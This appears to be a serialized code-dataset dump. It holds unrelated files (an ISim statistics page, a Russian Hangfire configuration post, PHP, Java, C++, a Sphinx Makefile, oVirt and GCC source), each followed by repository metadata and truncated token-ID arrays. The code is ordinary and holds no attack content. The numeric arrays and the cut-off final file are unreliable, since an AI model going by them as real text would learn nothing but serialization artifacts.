<TABLE BORDER CELLSPACING=0 WIDTH='100%'> <xtag-section name="ISimStatistics"> <TR ALIGN=CENTER BGCOLOR='#99CCFF'><TD COLSPAN=1><B>ISim Statistics</B></TD></TR> <TR><TD><xtag-isim-property-name>Xilinx HDL Libraries Used</xtag-isim-property-name>=<xtag-isim-property-value>ieee, std, unisim</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Fuse Resource Usage</xtag-isim-property-name>=<xtag-isim-property-value>1046 ms, 60500 KB</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Total Signals</xtag-isim-property-name>=<xtag-isim-property-value>286</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Total Nets</xtag-isim-property-name>=<xtag-isim-property-value>883</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Total Blocks</xtag-isim-property-name>=<xtag-isim-property-value>27</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Total Processes</xtag-isim-property-name>=<xtag-isim-property-value>107</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Total Simulation Time</xtag-isim-property-name>=<xtag-isim-property-value>50 ms</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Simulation Resource Usage</xtag-isim-property-name>=<xtag-isim-property-value>175.266 sec, 436084 KB</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Simulation Mode</xtag-isim-property-name>=<xtag-isim-property-value>gui</xtag-isim-property-value></TD></TR> <TR><TD><xtag-isim-property-name>Hardware CoSim</xtag-isim-property-name>=<xtag-isim-property-value>0</xtag-isim-property-value></TD></TR> </xtag-section> </TABLE>
Godoakos/conway-vhdl
isim/isim_usage_statistics.html
HTML
mit
1,688
[ 30522, 1026, 2795, 3675, 4442, 19498, 2075, 1027, 1014, 9381, 1027, 1005, 2531, 1003, 1005, 1028, 1026, 1060, 15900, 1011, 2930, 2171, 1027, 1000, 2003, 5714, 9153, 16774, 6558, 1000, 1028, 1026, 19817, 25705, 1027, 2415, 1038, 18195, 12898...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
--- layout: post title: "JSON конфигурация списка задач Hangfire и их runtime обновление" date: 2016-06-17 23:30:29 +0300 image: "/assets/hangfire-logo.png" image_alt: "Hangfire scheduler" redirect_from: - backend/2016/06/17/hangfire-config-joblist/backend/ category: Backend author: "Artamoshkin Maxim" tags: [Hangfire, Scheduler, C#] description: "Явное описание задач в коде делает их достаточно неповоротливыми и неудобными в поддержке. Также было бы явным излишеством описывать однотипные задачи." --- Явное описание задач в коде делает их достаточно неповоротливыми и неудобными в поддержке. Также было бы явным излишеством описывать однотипные задачи. Было бы удобнее хранить их минимальное описание с параметрами в отдельном файле с JSON или XML разметкой, который бы автоматически подгружался при старте планировщика и далее уже обновлял список при условии, если он был изменен. У известного планировщика Quartz, такая фича идет уже из коробки, но к сожалению, в Hangfire ее нет. <!-- more --> Опишем общий интерфейс задачи. ```cs public interface IJob { void Execute(Dictionary<string, string> parameters); } ``` Для начала зарегистрируем имеющиеся джобы, удобным нам DI-контейнером. Для примера используем Castle Windsor. Регистрируем все джобы на базе интерфейса `IJob`. ```cs container.Register(Classes.FromThisAssembly().BasedOn<IJob>()); ``` Устанавливаем из NuGet дополнительный пакет: ``` Install-Package HangFire.Windsor ``` И подключаем `JobActivator` ```cs GlobalConfiguration.Configuration.UseActivator(new WindsorJobActivator(container.Kernel)); ``` После того как наши джобы зарегистрированы, приступим непосредственно к механизму конфигурации шедулера. Создаем файл конфигурации `config.json`. И определим формат записи задач. ```json [ { "Id": "1", "Name": "ExampleJob", "CronExpression": "0 0 * * *", "Parameters": { "Parameter1": "Text", "Parameter2": "123" } },… ] ``` `Name` будет выступать как в роли названия джобы, так и названия ее класса. `CronExpression` - `Cron` выражения. `Parameters` - неограниченный список параметров, которые можно передать в тело джобы. Создадим метод который будет загружать и сериализовать эти задачи: ```cs private IList<JobItem> GetJobsList() { using (var sr = new StreamReader(this.configPath)) { return JsonConvert.DeserializeObject<IList<JobItem>>(sr.ReadToEnd()); } } ``` После того как наш шедулер может получать конфигурацию джоб извне создадим метод который будет добавлять в расписание и обновлять их конфигурацию. ```cs private void UpdateConfiguration() { var jobs = this.GetJobsList(); foreach (var item in jobs) { var jobType = this.container.Kernel.GetAssignableHandlers(typeof(IJob)) .Single( h => h.ComponentModel.Implementation.Name .Equals(item.Name, StringComparison.InvariantCultureIgnoreCase)) .ComponentModel.Implementation; var job = (IJob) this.container.Resolve(jobType); RecurringJob.AddOrUpdate(item.Id, () => job.Execute(item.Parameters), item.CronExpression); } } ``` Напишем функцию которая будет наблюдать за файлом конфигурации и обновлять задачи, в случае его изменения. ```cs [PermissionSet(SecurityAction.Demand, Name = "FullTrust")] private FileSystemWatcher CreateWatcher() { var path = Path.IsPathRooted(this.configPath) ? this.configPath : Path.Combine(Directory.GetCurrentDirectory(), this.configPath); var configDir = Path.GetDirectoryName(path) ?? string.Empty; var extension = Path.GetExtension(path); var watcher = new FileSystemWatcher { Path = configDir, NotifyFilter = NotifyFilters.LastWrite, Filter = "*" + extension }; watcher.Changed += this.OnConfigChanged; watcher.EnableRaisingEvents = true; return watcher; } private void OnConfigChanged(object sender, FileSystemEventArgs e) { if (DateTime.UtcNow < this.lastConfigChange.AddMilliseconds(200)) { return; } this.lastConfigChange = DateTime.UtcNow; this.UpdateConfiguration(); } ``` Если происходит изменение файла конфигурации, выполняется событие `OnConfigChanged`. И так как оно срабатывает несколько раз, то пропишем условие `if (DateTime.UtcNow < this.lastConfigChange.AddMilliseconds(200))`. Этого достаточно, чтобы оно сработало ровно один раз.
Zverit/zverit.github.io
_posts/backend/2016-6-17-hangfire-config-joblist.md
Markdown
mit
5,806
[ 30522, 1011, 1011, 1011, 9621, 1024, 2695, 2516, 1024, 1000, 1046, 3385, 1189, 14150, 18947, 29749, 10325, 29741, 29748, 16856, 10260, 29751, 23483, 1196, 29746, 10325, 29747, 28598, 1187, 10260, 29742, 10260, 29752, 6865, 10273, 1188, 1188, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<div class="modal fade " id="modal_add" tabindex="-1" role="dialog" aria-labelledby="add_gambar"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content"> <div class="modal-header"> <a type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></a> <h4 class="modal-title" >Add Album Otsukaresama</span></h4> </div> <form method="post" role="form" action="<?php echo base_url('index.php/admin/otsukaresama_konten_add') ?>" enctype="multipart/form-data"> <div class="modal-body"> <input type="hidden" name="id_otsukaresama" value="<?php echo $id_otsukaresama; ?>"> <div class="form-group"> <label for="exampleInputFile"> Gambar </label> <input name="url" type="file" id="exampleInputFile"> </div> </div> <div class="modal-footer"> <a type="button" class="btn btn-default" data-dismiss="modal">Close</a> <button type="submit" class="btn btn-success">Tambah</button> </div> </form> </div> </div> </div>
bassamtiano/ppij
application/modules/admin/views/modals/kesekretariatan/otsukaresama_konten/otsukaresama_konten_add.php
PHP
mit
1,413
[ 30522, 1026, 4487, 2615, 2465, 1027, 1000, 16913, 2389, 12985, 1000, 8909, 1027, 1000, 16913, 2389, 1035, 5587, 1000, 21628, 22254, 10288, 1027, 1000, 1011, 1015, 1000, 2535, 1027, 1000, 13764, 8649, 1000, 9342, 1011, 18251, 3762, 1027, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package br.com.dbsoft.rest.dados; import com.fasterxml.jackson.annotation.JsonAutoDetect; import com.fasterxml.jackson.annotation.JsonAutoDetect.Visibility; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import com.fasterxml.jackson.annotation.JsonInclude; import com.fasterxml.jackson.annotation.JsonInclude.Include; import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.annotation.JsonTypeInfo; import br.com.dbsoft.rest.interfaces.IStatus; @JsonInclude(value=Include.NON_NULL) @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) @JsonIgnoreProperties(ignoreUnknown = true) @JsonAutoDetect(getterVisibility = Visibility.NONE, setterVisibility = Visibility.NONE) public class DadosStatus implements IStatus { private static final long serialVersionUID = -6552296817145232368L; @JsonProperty("status") private Boolean wStatus; @Override public Boolean getStatus() { return wStatus; } @Override public void setStatus(Boolean pStatus) { wStatus = pStatus; } }
dbsoftcombr/dbssdk
src/main/java/br/com/dbsoft/rest/dados/DadosStatus.java
Java
mit
1,014
[ 30522, 7427, 7987, 1012, 4012, 1012, 16962, 6499, 6199, 1012, 2717, 1012, 3611, 2891, 1025, 12324, 4012, 1012, 5514, 2595, 19968, 1012, 4027, 1012, 5754, 17287, 3508, 1012, 1046, 3385, 4887, 3406, 3207, 26557, 2102, 1025, 12324, 4012, 1012,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// // parser.h // homework_4 // // Created by Asen Lekov on 12/29/14. // Copyright (c) 2014 fmi. All rights reserved. // #ifndef __homework_4__parser__ #define __homework_4__parser__ #include <string> class XMLParser { public: //private: bool is_open_tag(const std::string& tag) const; bool is_close_tag(const std::string& tag) const; bool is_tag(const std::string& tag) const; std::string get_tag_name(const std::string& tag) const; }; #endif /* defined(__homework_4__parser__) */
L3K0V/fmi-data-structures
2014/homework_4/homework_4/parser.h
C
mit
511
[ 30522, 1013, 1013, 1013, 1013, 11968, 8043, 1012, 1044, 1013, 1013, 19453, 1035, 1018, 1013, 1013, 1013, 1013, 2580, 2011, 2004, 2368, 3393, 7724, 2006, 2260, 1013, 2756, 1013, 2403, 1012, 1013, 1013, 9385, 1006, 1039, 1007, 2297, 4718, 2...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# Makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build PAPER = BUILDDIR = _build # Internal variables. PAPEROPT_a4 = -D latex_paper_size=a4 PAPEROPT_letter = -D latex_paper_size=letter ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . .PHONY: help clean html dirhtml pickle json htmlhelp qthelp latex changes linkcheck doctest help: @echo "Please use \`make <target>' where <target> is one of" @echo " html to make standalone HTML files" @echo " dirhtml to make HTML files named index.html in directories" @echo " pickle to make pickle files" @echo " json to make JSON files" @echo " htmlhelp to make HTML files and a HTML help project" @echo " qthelp to make HTML files and a qthelp project" @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" @echo " changes to make an overview of all changed/added/deprecated items" @echo " linkcheck to check all external links for integrity" @echo " doctest to run all doctests embedded in the documentation (if enabled)" clean: -rm -rf $(BUILDDIR)/* html: $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." dirhtml: $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." pickle: $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle @echo @echo "Build finished; now you can process the pickle files." json: $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json @echo @echo "Build finished; now you can process the JSON files." htmlhelp: $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp @echo @echo "Build finished; now you can run HTML Help Workshop with the" \ ".hhp project file in $(BUILDDIR)/htmlhelp." qthelp: $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp @echo @echo "Build finished; now you can run "qcollectiongenerator" with the" \ ".qhcp project file in $(BUILDDIR)/qthelp, like this:" @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Pydoop.qhcp" @echo "To view the help file:" @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Pydoop.qhc" latex: $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex @echo @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." @echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \ "run these through (pdf)latex." changes: $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes @echo @echo "The overview file is in $(BUILDDIR)/changes." linkcheck: $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck @echo @echo "Link check complete; look for any errors in the above output " \ "or in $(BUILDDIR)/linkcheck/output.txt." doctest: $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest @echo "Testing of doctests in the sources finished, look at the " \ "results in $(BUILDDIR)/doctest/output.txt."
crs4/pydoop
docs/Makefile
Makefile
apache-2.0
3,126
[ 30522, 1001, 2191, 8873, 2571, 2005, 27311, 12653, 1001, 1001, 2017, 2064, 2275, 2122, 10857, 2013, 1996, 3094, 2240, 1012, 27311, 7361, 3215, 1027, 27311, 8569, 4014, 2094, 1027, 27311, 1011, 3857, 3259, 1027, 3857, 4305, 2099, 1027, 1035,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package org.ovirt.engine.core.bll; import java.util.Collection; import java.util.HashSet; import java.util.LinkedList; import java.util.List; import java.util.Set; import org.ovirt.engine.core.bll.context.CommandContext; import org.ovirt.engine.core.common.action.RemoveAllVmImagesParameters; import org.ovirt.engine.core.common.action.RemoveImageParameters; import org.ovirt.engine.core.common.action.VdcActionType; import org.ovirt.engine.core.common.action.VdcReturnValueBase; import org.ovirt.engine.core.common.businessentities.StorageDomain; import org.ovirt.engine.core.common.businessentities.StorageDomainType; import org.ovirt.engine.core.common.businessentities.storage.DiskImage; import org.ovirt.engine.core.common.businessentities.storage.ImageStatus; import org.ovirt.engine.core.compat.Guid; import org.ovirt.engine.core.compat.TransactionScopeOption; import org.ovirt.engine.core.dal.dbbroker.DbFacade; import org.ovirt.engine.core.utils.transaction.TransactionMethod; import org.ovirt.engine.core.utils.transaction.TransactionSupport; /** * This command removes all Vm images and all created snapshots both from Irs * and Db. */ @InternalCommandAttribute @NonTransactiveCommandAttribute public class RemoveAllVmImagesCommand<T extends RemoveAllVmImagesParameters> extends VmCommand<T> { public RemoveAllVmImagesCommand(T parameters, CommandContext cmdContext) { super(parameters, cmdContext); } @Override protected void executeVmCommand() { Set<Guid> imagesToBeRemoved = new HashSet<>(); List<DiskImage> images = getParameters().images; if (images == null) { images = ImagesHandler.filterImageDisks(DbFacade.getInstance().getDiskDao().getAllForVm(getVmId()), true, false, true); } for (DiskImage image : images) { if (Boolean.TRUE.equals(image.getActive())) { imagesToBeRemoved.add(image.getImageId()); } } Collection<DiskImage> failedRemoving = new LinkedList<>(); for (final DiskImage image : images) { if (imagesToBeRemoved.contains(image.getImageId())) { VdcReturnValueBase vdcReturnValue = runInternalActionWithTasksContext( VdcActionType.RemoveImage, buildRemoveImageParameters(image) ); if (vdcReturnValue.getSucceeded()) { getReturnValue().getInternalVdsmTaskIdList().addAll(vdcReturnValue.getInternalVdsmTaskIdList()); } else { StorageDomain domain = getStorageDomainDao().get(image.getStorageIds().get(0)); failedRemoving.add(image); log.error("Can't remove image id '{}' for VM id '{}' from domain id '{}' due to: {}.", image.getImageId(), getParameters().getVmId(), image.getStorageIds().get(0), vdcReturnValue.getFault().getMessage()); if (domain.getStorageDomainType() == StorageDomainType.Data) { log.info("Image id '{}' will be set at illegal state with no snapshot id.", image.getImageId()); TransactionSupport.executeInScope(TransactionScopeOption.Required, new TransactionMethod<Object>() { @Override public Object runInTransaction() { // If VDSM task didn't succeed to initiate a task we change the disk to at illegal // state. updateDiskImagesToIllegal(image); return true; } }); } else { log.info("Image id '{}' is not on a data domain and will not be marked as illegal.", image.getImageId()); } } } } setActionReturnValue(failedRemoving); setSucceeded(true); } private RemoveImageParameters buildRemoveImageParameters(DiskImage image) { RemoveImageParameters result = new RemoveImageParameters(image.getImageId()); result.setParentCommand(getParameters().getParentCommand()); result.setParentParameters(getParameters().getParentParameters()); result.setDiskImage(image); result.setEntityInfo(getParameters().getEntityInfo()); result.setForceDelete(getParameters().getForceDelete()); result.setShouldLockImage(false); return result; } /** * Update all disks images of specific disk image to illegal state, and set the vm snapshot id to null, since now * they are not connected to any VM. * * @param diskImage - The disk to update. */ private void updateDiskImagesToIllegal(DiskImage diskImage) { List<DiskImage> snapshotDisks = getDbFacade().getDiskImageDao().getAllSnapshotsForImageGroup(diskImage.getId()); for (DiskImage diskSnapshot : snapshotDisks) { diskSnapshot.setVmSnapshotId(null); diskSnapshot.setImageStatus(ImageStatus.ILLEGAL); getDbFacade().getImageDao().update(diskSnapshot.getImage()); } } @Override protected void endVmCommand() { setSucceeded(true); } }
jtux270/translate
ovirt/3.6_source/backend/manager/modules/bll/src/main/java/org/ovirt/engine/core/bll/RemoveAllVmImagesCommand.java
Java
gpl-3.0
5,661
[ 30522, 7427, 8917, 1012, 1051, 21663, 2102, 1012, 3194, 1012, 4563, 1012, 1038, 3363, 1025, 12324, 9262, 1012, 21183, 4014, 1012, 3074, 1025, 12324, 9262, 1012, 21183, 4014, 1012, 23325, 13462, 1025, 12324, 9262, 1012, 21183, 4014, 1012, 57...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* Pipeline hazard description translator. Copyright (C) 2000, 2001, 2002, 2003, 2004, 2005, 2007, 2008, 2009 Free Software Foundation, Inc. Written by Vladimir Makarov <vmakarov@redhat.com> This file is part of GCC. GCC is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version. GCC is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GCC; see the file COPYING3. If not see <http://www.gnu.org/licenses/>. */ /* References: 1. The finite state automaton based pipeline hazard recognizer and instruction scheduler in GCC. V. Makarov. Proceedings of GCC summit, 2003. 2. Detecting pipeline structural hazards quickly. T. Proebsting, C. Fraser. Proceedings of ACM SIGPLAN-SIGACT Symposium on Principles of Programming Languages, pages 280--286, 1994. This article is a good start point to understand usage of finite state automata for pipeline hazard recognizers. But I'd recommend the 1st and 3rd article for more deep understanding. 3. Efficient Instruction Scheduling Using Finite State Automata: V. Bala and N. Rubin, Proceedings of MICRO-28. This is the best article about usage of finite state automata for pipeline hazard recognizers. The current implementation is described in the 1st article and it is different from the 3rd article in the following: 1. New operator `|' (alternative) is permitted in functional unit reservation which can be treated deterministically and non-deterministically. 2. Possibility of usage of nondeterministic automata too. 3. Possibility to query functional unit reservations for given automaton state. 4. Several constructions to describe impossible reservations (`exclusion_set', `presence_set', `final_presence_set', `absence_set', and `final_absence_set'). 5. No reverse automata are generated. Trace instruction scheduling requires this. It can be easily added in the future if we really need this. 6. Union of automaton states are not generated yet. It is planned to be implemented. Such feature is needed to make more accurate interlock insn scheduling to get state describing functional unit reservation in a joint CFG point. */ /* This file code processes constructions of machine description file which describes automaton used for recognition of processor pipeline hazards by insn scheduler and can be used for other tasks (such as VLIW insn packing. The translator functions `gen_cpu_unit', `gen_query_cpu_unit', `gen_bypass', `gen_excl_set', `gen_presence_set', `gen_final_presence_set', `gen_absence_set', `gen_final_absence_set', `gen_automaton', `gen_automata_option', `gen_reserv', `gen_insn_reserv' are called from file `genattrtab.c'. They transform RTL constructions describing automata in .md file into internal representation convenient for further processing. The translator major function `expand_automata' processes the description internal representation into finite state automaton. It can be divided on: o checking correctness of the automaton pipeline description (major function is `check_all_description'). o generating automaton (automata) from the description (major function is `make_automaton'). o optional transformation of nondeterministic finite state automata into deterministic ones if the alternative operator `|' is treated nondeterministically in the description (major function is NDFA_to_DFA). o optional minimization of the finite state automata by merging equivalent automaton states (major function is `minimize_DFA'). o forming tables (some as comb vectors) and attributes representing the automata (functions output_..._table). Function `write_automata' outputs the created finite state automaton as different tables and functions which works with the automata to inquire automaton state and to change its state. These function are used by gcc instruction scheduler and may be some other gcc code. */ #include "bconfig.h" #include "system.h" #include "coretypes.h" #include "tm.h" #include "rtl.h" #include "obstack.h" #include "errors.h" #include "gensupport.h" #include <math.h> #include "hashtab.h" #include "vec.h" #ifndef CHAR_BIT #define CHAR_BIT 8 #endif /* Positions in machine description file. Now they are not used. But they could be used in the future for better diagnostic messages. */ typedef int pos_t; /* The following is element of vector of current (and planned in the future) functional unit reservations. */ typedef unsigned HOST_WIDE_INT set_el_t; /* Reservations of function units are represented by value of the following type. */ typedef set_el_t *reserv_sets_t; typedef const set_el_t *const_reserv_sets_t; /* The following structure describes a ticker. */ struct ticker { /* The following member value is time of the ticker creation with taking into account time when the ticker is off. Active time of the ticker is current time minus the value. */ int modified_creation_time; /* The following member value is time (incremented by one) when the ticker was off. Zero value means that now the ticker is on. */ int incremented_off_time; }; /* The ticker is represented by the following type. */ typedef struct ticker ticker_t; /* The following type describes elements of output vectors. */ typedef HOST_WIDE_INT vect_el_t; /* Forward declaration of structures of internal representation of pipeline description based on NDFA. */ struct unit_decl; struct bypass_decl; struct result_decl; struct automaton_decl; struct unit_pattern_rel_decl; struct reserv_decl; struct insn_reserv_decl; struct decl; struct unit_regexp; struct result_regexp; struct reserv_regexp; struct nothing_regexp; struct sequence_regexp; struct repeat_regexp; struct allof_regexp; struct oneof_regexp; struct regexp; struct description; struct unit_set_el; struct pattern_set_el; struct pattern_reserv; struct state; struct alt_state; struct arc; struct ainsn; struct automaton; struct state_ainsn_table; /* The following typedefs are for brevity. */ typedef struct unit_decl *unit_decl_t; typedef const struct unit_decl *const_unit_decl_t; typedef struct decl *decl_t; typedef const struct decl *const_decl_t; typedef struct regexp *regexp_t; typedef struct unit_set_el *unit_set_el_t; typedef struct pattern_set_el *pattern_set_el_t; typedef struct pattern_reserv *pattern_reserv_t; typedef struct alt_state *alt_state_t; typedef struct state *state_t; typedef const struct state *const_state_t; typedef struct arc *arc_t; typedef struct ainsn *ainsn_t; typedef struct automaton *automaton_t; typedef struct automata_list_el *automata_list_el_t; typedef const struct automata_list_el *const_automata_list_el_t; typedef struct state_ainsn_table *state_ainsn_table_t; /* Undefined position. */ static pos_t no_pos = 0; /* All IR is stored in the following obstack. */ static struct obstack irp; /* Declare vector types for various data structures: */ DEF_VEC_P(alt_state_t); DEF_VEC_ALLOC_P(alt_state_t,heap); DEF_VEC_P(ainsn_t); DEF_VEC_ALLOC_P(ainsn_t,heap); DEF_VEC_P(state_t); DEF_VEC_ALLOC_P(state_t,heap); DEF_VEC_P(decl_t); DEF_VEC_ALLOC_P(decl_t,heap); DEF_VEC_P(reserv_sets_t); DEF_VEC_ALLOC_P(reserv_sets_t,heap); DEF_VEC_I(vect_el_t); DEF_VEC_ALLOC_I(vect_el_t, heap); typedef VEC(vect_el_t,heap) *vla_hwint_t; /* Forward declarations of functions used before their definitions, only. */ static regexp_t gen_regexp_sequence (const char *); static void reserv_sets_or (reserv_sets_t, reserv_sets_t, reserv_sets_t); static reserv_sets_t get_excl_set 